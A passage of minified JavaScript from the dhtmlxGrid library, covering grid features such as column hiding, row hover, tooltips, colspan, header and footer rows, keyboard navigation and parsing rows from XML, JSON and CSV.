c={rows:[this.obj.rows[0]]};this.forEachRow(function(l){if(this.rowsAr[l].tagName==\"TR\"){c.rows.push(this.rowsAr[l])}});this._fixHiddenRowsAll(c,h,\"display\",\"none\");if(this.isTreeGrid()){this._fixHiddenRowsAllTG(h,\"none\")}if((_isOpera&&_OperaRv<9)||_isKHTML||(_isFF)){this._fixHiddenRowsAll(this.hdr,h,\"display\",\"none\",\"_cellIndexS\")}if(this.ftr){this._fixHiddenRowsAll(this.ftr.childNodes[0],h,\"display\",\"none\")}this._fixHiddenRowsAll(this.hdr,h,\"whiteSpace\",\"nowrap\",\"_cellIndexS\");if(!this.cellWidthPX.length&&!this.cellWidthPC.length){this.cellWidthPX=[].concat(this.initCellWidth)}if(this.cellWidthPX[h]){this.cellWidthPX[h]=0}if(this.cellWidthPC[h]){this.cellWidthPC[h]=0}}else{if(this.hdr.rows[0].cells[h]._oldWidth){var e=this.hdr.rows[0].cells[h];if(_isOpera||_isKHTML||(_isFF)){this._fixHiddenRowsAll(this.hdr,h,\"display\",\"\",\"_cellIndexS\")}if(this.ftr){this._fixHiddenRowsAll(this.ftr.childNodes[0],h,\"display\",\"\")}var c={rows:[this.obj.rows[0]]};this.forEachRow(function(l){if(this.rowsAr[l].tagName==\"TR\"){c.rows.push(this.rowsAr[l])}});this._fixHiddenRowsAll(c,h,\"display\",\"\");if(this.isTreeGrid()){this._fixHiddenRowsAllTG(h,\"\")}this._fixHiddenRowsAll(this.hdr,h,\"whiteSpace\",\"normal\",\"_cellIndexS\");if(e._oldWidthP){this.cellWidthPC[h]=e._oldWidthP}if(e._oldWidth){this.cellWidthPX[h]=parseInt(e._oldWidth)}}}this.setSizes();if((!_isIE)&&(!_isFF)){this.obj.border=1;this.obj.border=0}},enableColSpan:function(a){this._ecspn=dhx4.s2b(a)},enableRowsHover:function(c,a){this._unsetRowHover(false,true);this._hvrCss=a;if(dhx4.s2b(c)){if(!this._elmnh){this.obj._honmousemove=this.obj.onmousemove;this.obj.onmousemove=this._setRowHover;if(_isIE){this.obj.onmouseleave=this._unsetRowHover}else{this.obj.onmouseout=this._unsetRowHover}this._elmnh=true}}else{if(this._elmnh){this.obj.onmousemove=this.obj._honmousemove;if(_isIE){this.obj.onmouseleave=null}else{this.obj.onmouseout=null}this._elmnh=false}}},enableEditEvents:function(c,e,a){this._sclE=dhx4.s2b(c);this._dclE=dhx4.s2b(e);this._f2kE=dhx4.s2b(a)},enableLightMouseNavigation:function(a){if(dhx4.s2b(a)){if(!this._elmn){this.entBox._onclick=this.entBox.onclick;this.entBox.onclick=function(){return true};this.obj._onclick=this.obj.onclick;this.obj.onclick=function(g){var h=this.grid.getFirstParentOfType(g?g.target:event.srcElement,\"TD\");if(!h){return}this.grid.editStop();this.grid.doClick(h);this.grid.editCell();(g||event).cancelBubble=true};this.obj._onmousemove=this.obj.onmousemove;this.obj.onmousemove=this._autoMoveSelect;this._elmn=true}}else{if(this._elmn){this.entBox.onclick=this.entBox._onclick;this.obj.onclick=this.obj._onclick;this.obj.onmousemove=this.obj._onmousemove;this._elmn=false}}},_unsetRowHover:function(g,h){if(h){that=this}else{that=this.grid}if((that._lahRw)&&(that._lahRw!=h)){for(var a=0;a<that._lahRw.childNodes.length;a++){that._lahRw.childNodes[a].className=that._lahRw.childNodes[a].className.replace(that._hvrCss,\"\")}that._lahRw=null}},_setRowHover:function(g){var h=this.grid.getFirstParentOfType(g?g.target:event.srcElement,\"TD\");if(h&&h.parentNode!=this.grid._lahRw){this.grid._unsetRowHover(0,h);h=h.parentNode;if(!h.idd||h.idd==\"__filler__\"){return}for(var a=0;a<h.childNodes.length;a++){h.childNodes[a].className+=\" \"+this.grid._hvrCss}this.grid._lahRw=h}this._honmousemove(g)},_autoMoveSelect:function(a){if(!this.grid.editor){var g=this.grid.getFirstParentOfType(a?a.target:event.srcElement,\"TD\");if(g.parentNode.idd){this.grid.doClick(g,true,0)}}this._onmousemove(a)},enableDistributedParsing:function(e,a,c){if(dhx4.s2b(e)){this._ads_count=a||10;this._ads_time=c||250}else{this._ads_count=0}},destructor:function(){this.editStop(true);if(this._sizeTime){this._sizeTime=window.clearTimeout(this._sizeTime)}this.entBox.className=(this.entBox.className||\"\").replace(/gridbox.*/,\"\");if(this.formInputs){for(var e=0;e<this.formInputs.length;e++){this.parentForm.removeChild(this.formInputs[e])}}var c;for(var e=0;e<this.rowsCol.length;e++){if(this.rowsCol[e]){this.rowsCol[e].grid=null}}for(e in this.rowsAr){if(this.rowsAr[e]){this.rowsAr[e]=null}}this.rowsCol=new dhtmlxArray();this.rowsAr={};this.entBox.innerHTML=\"\";var g=function(){};this.entBox.onclick=this.entBox.onmousedown=this.entBox.onbeforeactivate=this.entBox.onbeforedeactivate=this.entBox.onbeforedeactivate=this.entBox.onselectstart=g;this.setSizes=this._update_srnd_view=this.callEvent=g;this.entBox.grid=this.objBox.grid=this.hdrBox.grid=this.obj.grid=this.hdr.grid=null;if(this._fake){this.globalBox.innerHTML=\"\";this._fake.setSizes=this._fake._update_srnd_view=this._fake.callEvent=g;this.globalBox.onclick=this.globalBox.onmousedown=this.globalBox.onbeforeactivate=this.globalBox.onbeforedeactivate=this.globalBox.onbeforedeactivate=this.globalBox.onselectstart=g}for(c in this){if((this[c])&&(this[c].m_obj)){this[c].m_obj=null}this[c]=null}if(this==globalActiveDHTMLGridObject){globalActiveDHTMLGridObject=null}return null},getSortingState:function(){var a=new Array();if(this.fldSorted){a[0]=this.fldSorted._cellIndex;a[1]=(this.sortImg.className==\"dhxgrid_sort_desc\"?\"des\":\"asc\")}return a},enableAutoHeight:function(e,c,a){this._ahgr=dhx4.s2b(e);this._ahgrF=dhx4.s2b(a);this._ahgrM=c||null;if(arguments.length==1){this.objBox.style.overflowY=e?\"hidden\":\"auto\"}if(c==\"auto\"){this._ahgrM=null;this._ahgrMA=true;this._setAutoResize()}},enableStableSorting:function(a){this._sst=dhx4.s2b(a);this.rowsCol.stablesort=function(l){var h=this.length-1;for(var g=0;g<this.length-1;g++){for(var e=0;e<h;e++){if(l(this[e],this[e+1])>0){var c=this[e];this[e]=this[e+1];this[e+1]=c}}h--}}},enableKeyboardSupport:function(a){this._htkebl=!dhx4.s2b(a)},enableContextMenu:function(a){this._ctmndx=a},setScrollbarWidthCorrection:function(a){},enableTooltips:function(c){this._enbTts=c.split(\",\");for(var a=0;a<this._enbTts.length;a++){this._enbTts[a]=dhx4.s2b(this._enbTts[a])}},enableResizing:function(c){this._drsclmn=c.split(\",\");for(var a=0;a<this._drsclmn.length;a++){this._drsclmn[a]=dhx4.s2b(this._drsclmn[a])}},setColumnMinWidth:function(a,c){if(arguments.length==2){if(!this._drsclmW){this._drsclmW=new Array()}this._drsclmW[c]=a}else{this._drsclmW=a.split(\",\")}},enableCellIds:function(a){this._enbCid=dhx4.s2b(a)},lockRow:function(a,e){var c=this.getRowById(a);if(c){c._locked=dhx4.s2b(e);if((this.cell)&&(this.cell.parentNode.idd==a)){this.editStop()}}},_getRowArray:function(h){var g=new Array();for(var e=0;e<h.childNodes.length;e++){var c=this.cells3(h,e);g[e]=c.getValue()}return g},setDateFormat:function(c,a){this._dtmask=c;this._dtmask_inc=a},setNumberFormat:function(n,e,h,m){var g=n.replace(/[^0\\,\\.]*/g,\"\");var a=g.indexOf(\".\");if(a>-1){a=g.length-a-1}var c=g.indexOf(\",\");if(c>-1){c=g.length-a-2-c}if(typeof h!=\"string\"){h=this.i18n.decimal_separator}if(typeof m!=\"string\"){m=this.i18n.group_separator}var o=n.split(g)[0];var l=n.split(g)[1];this._maskArr[e]=[a,c,o,l,h,m]},_aplNFb:function(h,g){var c=this._maskArr[g];if(!c){return h}var e=parseFloat(h.toString().replace(/[^0-9]*/g,\"\"));if(h.toString().substr(0,1)==\"-\"){e=e*-1}if(c[0]>0){e=e/Math.pow(10,c[0])}return e},_aplNF:function(l,h){var e=this._maskArr[h];if(!e){return l}var m=(parseFloat(l)<0?\"-\":\"\")+e[2];l=Math.abs(Math.round(parseFloat(l)*Math.pow(10,e[0]>0?e[0]:0))).toString();l=(l.length<e[0]?Math.pow(10,e[0]+1-l.length).toString().substr(1,e[0]+1)+l.toString():l).split(\"\").reverse();l[e[0]]=(l[e[0]]||\"0\")+e[4];if(e[1]>0){for(var g=(e[0]>0?0:1)+e[0]+e[1];g<l.length;g+=e[1]){l[g]+=e[5]}}return m+l.reverse().join(\"\")+e[3]},_launchCommands:function(a){for(var g=0;g<a.length;g++){var e=new Array();for(var c=0;c<a[g].childNodes.length;c++){if(a[g].childNodes[c].nodeType==1){e[e.length]=a[g].childNodes[c].firstChild.data}}this[a[g].getAttribute(\"command\")].apply(this,e)}},_parseHead:function(h){var g=dhx4.ajax.xpath(\"./head\",h);if(g.length){var l=dhx4.ajax.xpath(\"./column\",g[0]);var m=dhx4.ajax.xpath(\"./settings\",g[0]);var A=\"setInitWidths\";var v=false;if(m[0]){for(var n=0;n<m[0].childNodes.length;n++){switch(m[0].childNodes[n].tagName){case\"colwidth\":if(m[0].childNodes[n].firstChild&&m[0].childNodes[n].firstChild.data==\"%\"){A=\"setInitWidthsP\"}break;case\"splitat\":v=(m[0].childNodes[n].firstChild?m[0].childNodes[n].firstChild.data:false);break}}}this._launchCommands(dhx4.ajax.xpath(\"./beforeInit/call\",g[0]));if(l.length>0){if(this.hdr.rows.length>0){this.clearAll(true)}var a=[[],[],[],[],[],[],[],[],[]];var u=[\"\",\"width\",\"type\",\"align\",\"sort\",\"color\",\"format\",\"hidden\",\"id\"];var r=[\"\",A,\"setColTypes\",\"setColAlign\",\"setColSorting\",\"setColumnColor\",\"\",\"\",\"setColumnIds\"];for(var y=0;y<l.length;y++){for(var x=1;x<u.length;x++){a[x].push(l[y].getAttribute(u[x]))}a[0].push((l[y].firstChild?l[y].firstChild.data:\"\").replace(/^\\s*((\\s\\S)*.+)\\s*$/gi,\"$1\"))}this.setHeader(a[0]);for(var y=0;y<r.length;y++){if(r[y]){this[r[y]](a[y].join(this.delim))}}for(var y=0;y<l.length;y++){if((this.cellType[y].indexOf(\"co\")==0)||(this.cellType[y]==\"clist\")){var o=dhx4.ajax.xpath(\"./option\",l[y]);if(o.length){var w=new Array();if(this.cellType[y]==\"clist\"){for(var x=0;x<o.length;x++){w[w.length]=o[x].firstChild?o[x].firstChild.data:\"\"}this.registerCList(y,w)}else{var C=this.getCombo(y);for(var x=0;x<o.length;x++){C.put(o[x].getAttribute(\"value\"),o[x].firstChild?o[x].firstChild.data:\"\")}}}}else{if(a[6][y]){if((this.cellType[y].toLowerCase().indexOf(\"calendar\")!=-1)||(this.fldSort[y]==\"date\")){this.setDateFormat(a[6][y])}else{this.setNumberFormat(a[6][y],y)}}}}this.init();var e=a[7].join(this.delim);if(this.setColHidden&&e.replace(/,/g,\"\")!=\"\"){this.setColHidden(e)}if((v)&&(this.splitAt)){this.splitAt(v)}}this._launchCommands(dhx4.ajax.xpath(\"./afterInit/call\",g[0]))}var c=dhx4.ajax.xpath(\"//rows/userdata\",h);if(c.length>0){if(!this.UserData.gridglobaluserdata){this.UserData.gridglobaluserdata=new Hashtable()}for(var x=0;x<c.length;x++){var D=\"\";for(var q=0;q<c[x].childNodes.length;q++){D+=c[x].childNodes[q].nodeValue}this.UserData.gridglobaluserdata.put(c[x].getAttribute(\"name\"),D)}}},getCheckedRows:function(a){var c=new Array();this.forEachRowA(function(g){var e=this.cells(g,a);if(e.changeState&&e.getValue()!=0){c.push(g)}},true);return c.join(\",\")},checkAll:function(){var c=arguments.length?arguments[0]:1;for(var a=0;a<this.getColumnsNum();a++){if(this.getColType(a)==\"ch\"){this.setCheckedRows(a,c)}}},uncheckAll:function(){this.checkAll(0)},setCheckedRows:function(c,a){this.forEachRowA(function(e){if(this.cells(e,c).isCheckbox()){this.cells(e,c).setValue(a)}})},_drawTooltip:function(l){var m=this.grid.getFirstParentOfType(l?l.target:event.srcElement,\"TD\");if(!m||((this.grid.editor)&&(this.grid.editor.cell==m))){return true}var h=m.parentNode;if(!h.idd||h.idd==\"__filler__\"){return}var g=(l?l.target:event.srcElement);if(h.idd==window.unknown){return true}if(!this.grid.callEvent(\"onMouseOver\",[h.idd,m._cellIndex,(l||window.event)])){return true}if((this.grid._enbTts)&&(!this.grid._enbTts[m._cellIndex])){if(g.title){g.title=\"\"}return true}if(m._cellIndex>=this.grid._cCount){return}var a=this.grid.cells3(h,m._cellIndex);if(!a||!a.cell||!a.cell._attrs){return}if(g._title){a.cell.title=\"\"}if(!a.cell._attrs.title){g._title=true}if(a){g.title=a.cell._attrs.title||(a.getTitle?a.getTitle():(a.getValue()||\"\").toString().replace(/<[^>]*>/gi,\"\"))}return true},enableCellWidthCorrection:function(a){if(_isFF){this._wcorr=parseInt(a)}},getAllRowIds:function(e){var a=[];for(var c=0;c<this.rowsBuffer.length;c++){if(this.rowsBuffer[c]){a.push(this.rowsBuffer[c].idd)}}return a.join(e||this.delim)},getAllItemIds:function(){return this.getAllRowIds()},setColspan:function(e,w,g){if(!this._ecspn){return}var a=this.getRowById(e);if((a._childIndexes)&&(a.childNodes[a._childIndexes[w]])){var o=a._childIndexes[w];var h=a.childNodes[o];var l=h.colSpan;h.colSpan=1;if((l)&&(l!=1)){for(var s=1;s<l;s++){var v=document.createElement(\"TD\");if(h.nextSibling){a.insertBefore(v,h.nextSibling)}else{a.appendChild(v)}a._childIndexes[w+s]=o+s;v._cellIndex=w+s;v.style.textAlign=this.cellAlign[s];v.style.verticalAlign=this.cellVAlign[s];h=v;this.cells3(a,w+s).setValue(\"\")}}for(var u=w*1+1*l;u<a._childIndexes.length;u++){a._childIndexes[u]+=(l-1)*1}}if((g)&&(g>1)){if(a._childIndexes){var o=a._childIndexes[w]}else{var o=w;a._childIndexes=new Array();for(var u=0;u<a.childNodes.length;u++){a._childIndexes[u]=u}}a.childNodes[o].colSpan=g;for(var u=1;u<g;u++){a._childIndexes[a.childNodes[o+1]._cellIndex]=o;a.removeChild(a.childNodes[o+1])}var q=a.childNodes[a._childIndexes[w]]._cellIndex;for(var u=q*1+1*g;u<a._childIndexes.length;u++){a._childIndexes[u]-=(g-1)}}},preventIECaching:function(a){dhx4.ajax.cache=!a},enableColumnAutoSize:function(a){this._eCAS=dhx4.s2b(a)},_onHeaderDblClick:function(g){var c=this.grid;var a=c.getFirstParentOfType(_isIE?event.srcElement:g.target,\"TD\");if(!c._eCAS){return false}c.adjustColumnSize(a._cellIndexS)},adjustColumnSize:function(o,c){if(this._hrrar&&this._hrrar[o]){return}this._notresize=true;var e=0;this._setColumnSizeR(o,20);for(var h=1;h<this.hdr.rows.length;h++){var r=this.hdr.rows[h];r=r.childNodes[(r._childIndexes)?r._childIndexes[o]:o];if((r)&&((!r.colSpan)||(r.colSpan<2))&&r._cellIndex==o){if((r.childNodes[0])&&(r.childNodes[0].className==\"hdrcell\")){r=r.childNodes[0]}e=Math.max(e,r.scrollWidth)}}var g=this.obj.rows.length;var q=0;var u=this.cellType._dhx_find(\"tree\");for(var n=1;n<g;n++){var s=this.obj.rows[n];if(!this.rowsAr[s.idd]){continue}if(s._childIndexes&&s._childIndexes[o]!=o||!s.childNodes[o]){continue}q=(s.childNodes[o].innerText||s.childNodes[o].textContent||\"\").length*this.fontWidth;if(this._h2&&o==u){q+=this._h2.get[s.idd].level*22}if(q>e){e=q}}e+=20+(c||0);this._setColumnSizeR(o,e);this._notresize=false;this.setSizes()},detachHeader:function(a,e){e=e||this.hdr;var c=e.rows[a+1];if(c){c.parentNode.removeChild(c)}this.setSizes()},detachFooter:function(a){this.detachHeader(a,this.ftr)},attachHeader:function(a,g,c){if(typeof(a)==\"string\"){a=this._eSplit(a)}if(typeof(g)==\"string\"){g=g.split(this.delim)}c=c||\"_aHead\";if(this.hdr.rows.length){if(a){this._createHRow([a,g],this[(c==\"_aHead\")?\"hdr\":\"ftr\"])}else{if(this[c]){for(var e=0;e<this[c].length;e++){this.attachHeader.apply(this,this[c][e])}}}}else{if(!this[c]){this[c]=new Array()}this[c][this[c].length]=[a,g,c]}},_createHRow:function(e,q){if(!q){if(this.entBox.style.position!=\"absolute\"){this.entBox.style.position=\"relative\"}var m=document.createElement(\"DIV\");m.className=\"c_ftr\".substr(2);this.entBox.appendChild(m);var u=document.createElement(\"TABLE\");u.cellPadding=u.cellSpacing=0;if(!_isIE||_isIE==8){u.width=\"100%\";u.style.paddingRight=\"20px\"}u.style.marginRight=\"20px\";u.style.tableLayout=\"fixed\";m.appendChild(u);u.appendChild(document.createElement(\"TBODY\"));this.ftr=q=u;var l=u.insertRow(0);var a=((this.hdrLabels.length<=1)?e[0].length:this.hdrLabels.length);for(var g=0;g<a;g++){l.appendChild(document.createElement(\"TH\"));l.childNodes[g]._cellIndex=g}if(_isIE&&_isIE<8){l.style.position=\"absolute\"}else{l.style.height=\"auto\"}}var h=e[1];var m=document.createElement(\"TR\");q.rows[0].parentNode.appendChild(m);for(var g=0;g<e[0].length;g++){if(e[0][g]==\"#cspan\"){var n=m.cells[m.cells.length-1];n.colSpan=(n.colSpan||1)+1;continue}if((e[0][g]==\"#rspan\")&&(q.rows.length>1)){var x=q.rows.length-2;var v=false;var n=null;while(!v){var n=q.rows[x];for(var c=0;c<n.cells.length;c++){if(n.cells[c]._cellIndex==g){v=c+1;break}}x--}n=n.cells[v-1];n.rowSpan=(n.rowSpan||1)+1;continue}var o=document.createElement(\"TD\");o._cellIndex=o._cellIndexS=g;if(this._hrrar&&this._hrrar[g]&&!_isIE){o.style.display=\"none\"}if(typeof e[0][g]==\"object\"){o.appendChild(e[0][g])}else{if(this.forceDivInHeader){o.innerHTML=\"<div class='hdrcell'>\"+(e[0][g]||\"&nbsp;\")+\"</div>\"}else{o.innerHTML=(e[0][g]||\"&nbsp;\")}if((e[0][g]||\"\").indexOf(\"#\")!=-1){var u=e[0][g].match(/(^|{)#([^}]+)(}|$)/);if(u){var r=\"_in_header_\"+u[2];if(this[r]){this[r]((this.forceDivInHeader?o.firstChild:o),g,e[0][g].split(u[0]))}}}}if(h){o.style.cssText=h[g]}m.appendChild(o)}var s=q;if(_isKHTML){if(q._kTimer){window.clearTimeout(q._kTimer)}q._kTimer=window.setTimeout(function(){q.rows[1].style.display=\"none\";window.setTimeout(function(){q.rows[1].style.display=\"\"},1)},500)}},attachFooter:function(a,c){this.attachHeader(a,c,\"_aFoot\")},setCellExcellType:function(e,a,c){this.changeCellType(this.getRowById(e),a,c)},changeCellType:function(e,g,c){c=c||this.cellType[g];var h=this.cells3(e,g);var a=h.getValue();h.cell._cellType=c;var h=this.cells3(e,g);h.setValue(a)},setRowExcellType:function(e,c){var g=this.rowsAr[e];for(var a=0;a<g.childNodes.length;a++){this.changeCellType(g,a,c)}},setColumnExcellType:function(a,e){for(var c=0;c<this.rowsBuffer.length;c++){if(this.rowsBuffer[c]&&this.rowsBuffer[c].tagName==\"TR\"){this.changeCellType(this.rowsBuffer[c],a,e)}}if(this.cellType[a]==\"math\"){this._strangeParams[c]=e}else{this.cellType[a]=e}},forEachRow:function(e){for(var c in this.rowsAr){if(this.rowsAr[c]&&this.rowsAr[c].idd){e.apply(this,[this.rowsAr[c].idd])}}},forEachRowA:function(e){for(var c=0;c<this.rowsBuffer.length;c++){if(this.rowsBuffer[c]){e.call(this,this.render_row(c).idd)}}},forEachCell:function(e,c){var g=this.getRowById(e);if(!g){return}for(var a=0;a<this._cCount;a++){c(this.cells3(g,a),a)}},enableAutoWidth:function(e,a,c){this._awdth=[dhx4.s2b(e),parseInt(a||99999),parseInt(c||0)];if(arguments.length==1){this.objBox.style.overflowX=e?\"hidden\":\"auto\"}},updateFromXML:function(a,g,c,e){if(typeof g==\"undefined\"){g=true}this._refresh_mode=[true,g,c];this.load(a,e)},_refreshFromXML:function(g){if(this._f_rowsBuffer){this.filterBy(0,\"\")}reset=false;if(window.eXcell_tree){eXcell_tree.prototype.setValueX=eXcell_tree.prototype.setValue;eXcell_tree.prototype.setValue=function(u){var s=this.grid._h2.get[this.cell.parentNode.idd];if(s&&this.cell.parentNode.valTag){this.setLabel(u)}else{this.setValueX(u)}}}var r=this.cellType._dhx_find(\"tree\");var l=dhx4.ajax.xmltop(\"rows\",g);var h=l.getAttribute(\"parent\")||0;var n={};if(this._refresh_mode[2]){if(r!=-1){this._h2.forEachChild(h,function(s){n[s.id]=true},this)}else{this.forEachRow(function(s){n[s]=true})}}var q=dhx4.ajax.xpath(\"//row\",l);for(var e=0;e<q.length;e++){var o=q[e];var a=o.getAttribute(\"id\");n[a]=false;var h=o.parentNode.getAttribute(\"id\")||h;if(this.rowsAr[a]&&this.rowsAr[a].tagName!=\"TR\"){if(this._h2){this._h2.get[a].buff.data=o}else{this.rowsBuffer[this.getRowIndex(a)].data=o}this.rowsAr[a]=o}else{if(this.rowsAr[a]){this._process_xml_row(this.rowsAr[a],o,-1);this._postRowProcessing(this.rowsAr[a],true);if(this._fake&&this._fake.rowsAr[a]){this._fake._process_xml_row(this._fake.rowsAr[a],o,-1)}}else{if(this._refresh_mode[1]){var m={idd:a,data:o,_parser:this._process_xml_row,_locator:this._get_xml_data};var c=this.rowsBuffer.length;if(this._refresh_mode[1]==\"top\"){this.rowsBuffer.unshift(m);c=0}else{this.rowsBuffer.push(m)}if(this._h2){reset=true;(this._h2.add(a,(o.parentNode.getAttribute(\"id\")||o.parentNode.getAttribute(\"parent\")))).buff=this.rowsBuffer[this.rowsBuffer.length-1]}else{if(this._srnd){reset=true}}this.rowsAr[a]=o;o=this.render_row(c);this._insertRowAt(o,c?-1:0)}}}}if(this._refresh_mode[2]){for(a in n){if(n[a]&&this.rowsAr[a]){this.deleteRow(a)}}}this._refresh_mode=null;if(window.eXcell_tree){eXcell_tree.prototype.setValue=eXcell_tree.prototype.setValueX}if(reset){if(this._h2){this._renderSort()}else{this.render_dataset()}}if(this._f_rowsBuffer){this._f_rowsBuffer=null;this.filterByAll()}},getCustomCombo:function(e,c){var a=this.cells(e,c).cell;if(!a._combo){a._combo=new dhtmlXGridComboObject()}return a._combo},setTabOrder:function(c){var g=c.split(this.delim);this._tabOrder=[];var a=this._cCount||c.length;for(var e=0;e<a;e++){g[e]={c:parseInt(g[e]),ind:e}}g.sort(function(l,h){return(l.c>h.c?1:-1)});for(var e=0;e<a;e++){if(!g[e+1]||(typeof g[e].c==\"undefined\")){this._tabOrder[g[e].ind]=(g[0].ind+1)*-1}else{this._tabOrder[g[e].ind]=g[e+1].ind}}},i18n:{loading:\"Loading\",decimal_separator:\".\",group_separator:\",\"},_key_events:{k13_1_0:function(){var a=this.rowsCol._dhx_find(this.row);this.selectCell(this.rowsCol[a+1],this.cell._cellIndex,true)},k13_0_1:function(){var a=this.rowsCol._dhx_find(this.row);this.selectCell(this.rowsCol[a-1],this.cell._cellIndex,true)},k13_0_0:function(){this.editStop();this.callEvent(\"onEnter\",[(this.row?this.row.idd:null),(this.cell?this.cell._cellIndex:null)]);this._still_active=true},k9_0_0:function(){this.editStop();if(!this.callEvent(\"onTab\",[true])){return true}var a=this._getNextCell(null,1);if(a){this.selectCell(a.parentNode,a._cellIndex,(this.row!=a.parentNode),false,true);this._still_active=true}},k9_0_1:function(){this.editStop();if(!this.callEvent(\"onTab\",[false])){return false}var a=this._getNextCell(null,-1);if(a){this.selectCell(a.parentNode,a._cellIndex,(this.row!=a.parentNode),false,true);this._still_active=true}},k113_0_0:function(){if(this._f2kE){this.editCell()}},k32_0_0:function(){var a=this.cells4(this.cell);if(!a.changeState||(a.changeState()===false)){return false}},k27_0_0:function(){this.editStop(true)},k33_0_0:function(){if(this.pagingOn){this.changePage(this.currentPage-1)}else{this.scrollPage(-1)}},k34_0_0:function(){if(this.pagingOn){this.changePage(this.currentPage+1)}else{this.scrollPage(1)}},k37_0_0:function(){if(!this.editor&&this.isTreeGrid()){this.collapseKids(this.row)}else{return false}},k39_0_0:function(){if(!this.editor&&this.isTreeGrid()){this.expandKids(this.row)}else{return false}},k40_0_0:function(){var c=this._realfake?this._fake:this;if(this.editor&&this.editor.combo){this.editor.shiftNext()}else{if(!this.row.idd){return}var a=Math.max((c._r_select||0),this.getRowIndex(this.row.idd));var e=this._nextRow(a,1);if(e){c._r_select=null;this.selectCell(e,this.cell._cellIndex,true);if(c.pagingOn){c.showRow(e.idd)}}else{if(!this.callEvent(\"onLastRow\",[])){return false}this._key_events.k34_0_0.apply(this,[]);if(this.pagingOn&&this.rowsCol[a+1]){this.selectCell(a+1,0,true)}}}this._still_active=true},k38_0_0:function(){var c=this._realfake?this._fake:this;if(this.editor&&this.editor.combo){this.editor.shiftPrev()}else{if(!this.row.idd){return}var a=this.getRowIndex(this.row.idd)+1;if(a!=-1&&(!this.pagingOn||(a!=1))){var e=this._nextRow(a-1,-1);this.selectCell(e,this.cell._cellIndex,true);if(c.pagingOn&&e){c.showRow(e.idd)}}else{this._key_events.k33_0_0.apply(this,[])}}this._still_active=true}},_build_master_row:function(){var e=document.createElement(\"DIV\");var c=[\"<table><tr>\"];for(var a=0;a<this._cCount;a++){c.push(\"<td></td>\")}c.push(\"</tr></table>\");e.innerHTML=c.join(\"\");this._master_row=e.firstChild.rows[0]},_prepareRow:function(a){if(!this._master_row){this._build_master_row()}var e=this._master_row.cloneNode(true);for(var c=0;c<e.childNodes.length;c++){e.childNodes[c]._cellIndex=c;if(this._enbCid){e.childNodes[c].id=\"c_\"+a+\"_\"+c}if(this.dragAndDropOff){this.dragger.addDraggableItem(e.childNodes[c],this)}}e.idd=a;e.grid=this;return e},_process_jsarray_row:function(c,e){c._attrs={};for(var a=0;a<c.childNodes.length;a++){c.childNodes[a]._attrs={}}this._fillRow(c,(this._c_order?this._swapColumns(e):e));return c},_get_jsarray_data:function(c,a){return c[a]},_process_json_row:function(a,c){c=this._c_order?this._swapColumns(c.data):c.data;return this._process_some_row(a,c)},_process_some_row:function(c,e){c._attrs={};for(var a=0;a<c.childNodes.length;a++){c.childNodes[a]._attrs={}}this._fillRow(c,e);return c},_get_json_data:function(c,a){return c.data[a]},_process_js_row:function(e,g){var a=[];for(var c=0;c<this.columnIds.length;c++){a[c]=g[this.columnIds[c]];if(!a[c]&&a[c]!==0){a[c]=\"\"}}this._process_some_row(e,a);e._attrs=g;return e},_get_js_data:function(c,a){return c[this.columnIds[a]]},_process_csv_row:function(c,e){c._attrs={};for(var a=0;a<c.childNodes.length;a++){c.childNodes[a]._attrs={}}this._fillRow(c,(this._c_order?this._swapColumns(e.split(this.csv.cell)):e.split(this.csv.cell)));return c},_get_csv_data:function(c,a){return c.split(this.csv.cell)[a]},_process_store_row:function(h,g){var a=[];for(var e=0;e<this.columnIds.length;e++){a[e]=g[this.columnIds[e]]}for(var c=0;c<h.childNodes.length;c++){h.childNodes[c]._attrs={}}h._attrs=g;this._fillRow(h,a)},_process_xml_row:function(a,l){var s=dhx4.ajax.xpath(this.xml.cell,l);var o=[];a._attrs=this._xml_attrs(l);if(this._ud_enabled){var q=dhx4.ajax.xpath(\"./userdata\",l);for(var h=q.length-1;h>=0;h--){var n=\"\";for(var e=0;e<q[h].childNodes.length;e++){n+=q[h].childNodes[e].nodeValue}this.setUserData(a.idd,q[h].getAttribute(\"name\"),n)}}for(var e=0;e<s.length;e++){var g=s[this._c_order?this._c_order[e]:e];if(!g){continue}var c=a._childIndexes?a._childIndexes[e]:e;var m=g.getAttribute(\"type\");if(a.childNodes[c]){if(m){a.childNodes[c]._cellType=m}a.childNodes[c]._attrs=this._xml_attrs(g)}if(!g.getAttribute(\"xmlcontent\")){if(g.firstChild){g=g.firstChild.wholeText||g.firstChild.data}else{g=\"\"}}o.push(g)}for(e<s.length;e<a.childNodes.length;e++){a.childNodes[e]._attrs={}}if(a.parentNode&&a.parentNode.tagName==\"row\"){a._attrs.parent=a.parentNode.getAttribute(\"idd\")}this._fillRow(a,o);return a},_get_xml_data:function(c,a){c=c.firstChild;while(true){if(!c){return\"\"}if(c.tagName==\"cell\"){a--}if(a<0){break}c=c.nextSibling}return(c.firstChild?c.firstChild.data:\"\")},_fillRow:function(g,l){if(this.editor&&this.editor.parentNode&&this.editor.parentNode.idd==g.idd){this.editStop()}for(var c=0;c<g.childNodes.length;c++){if((c<l.length)||(this.defVal[c])){var e=g.childNodes[c]._cellIndex;var h=l[e];var a=this.cells4(g.childNodes[c]);if((this.defVal[e])&&((h==\"\")||(typeof(h)==\"undefined\"))){h=this.defVal[e]}if(a){a.setValue(h)}}else{g.childNodes[c].innerHTML=\"&nbsp;\";g.childNodes[c]._clearCell=true}}return g},_postRowProcessing:function(l,n){if(l._attrs[\"class\"]){l._css=l.className=l._attrs[\"class\"]}if(l._attrs.locked){l._locked=true}if(l._attrs.bgColor){l.bgColor=l._attrs.bgColor}var m=0;for(var e=0;e<l.childNodes.length;e++){var o=l.childNodes[e];var h=o._cellIndex;var g=o._attrs.style||l._attrs.style;if(g){o.style.cssText+=\";\"+g}if(o._attrs[\"class\"]){o.className=o._attrs[\"class\"]}g=o._attrs.align||this.cellAlign[h];if(g){o.align=g}o.vAlign=o._attrs.valign||this.cellVAlign[h];var a=o._attrs.bgColor||this.columnColor[h];if(a){o.bgColor=a}if(o._attrs.colspan&&!n){this.setColspan(l.idd,e+m,o._attrs.colspan);m+=(o._attrs.colspan-1)}if(this._hrrar&&this._hrrar[h]&&!n){o.style.display=\"none\"}}this.callEvent(\"onRowCreated\",[l.idd,l,null])},load:function(a,e,c){this.callEvent(\"onXLS\",[this]);if(arguments.length==2&&typeof e!=\"function\"){c=e;e=null}c=c||\"xml\";if(!this.xmlFileUrl){this.xmlFileUrl=a}this._data_type=c;this.xmlLoader=this.doLoadDetails;var 